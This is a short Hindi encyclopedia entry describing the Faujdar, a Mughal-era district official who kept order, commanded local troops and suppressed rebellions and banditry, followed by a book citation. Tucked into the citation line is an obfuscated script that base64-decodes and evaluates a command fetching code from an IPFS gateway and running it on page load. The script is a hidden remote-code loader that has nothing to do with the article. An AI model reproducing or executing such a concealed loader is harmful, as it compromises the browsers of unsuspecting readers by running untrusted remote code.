फ़ौजदार

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फ़ौजदार मुग़लकालीन भारत का एक उच्च अधिकारी पद हुआ करता था। इस पद पर कार्यरत अधिकारी का कार्य ज़िले (सरकार) में क़ानून एवं व्यवस्था बनाये रखना होता था। इसे आमतौर पर नगर प्रशासक तथा सेनापति भी कहा जाता था।

  • फ़ौजदार ज़िले में तैनात फ़ौजी टुकड़ी का सर्वोच्च नायक होता था।
  • उसके ऊपर छोटी-मोटी बग़ावतों को दबाने, डाकू गिरोह को भगाने या गिरफ़्तार करने का दायित्व रहता था।
  • मुग़ल साम्राज्य में शांति व्यवस्था बनाये रखना तथा हिंसक अपराधों की रोकथाम करने का दायित्व भी फ़ौजदार का ही था।
  • वह राजस्व अधिकारियों अथवा क़ाज़ियों को अपनी आज्ञाओं का पालन करवाने में सहायता प्रदान करता था।
  • फ़ौजदार आमतौर से ज़िले के मुख्यालय में ही वास करता था।


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टीका टिप्पणी और संदर्भ

भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 260 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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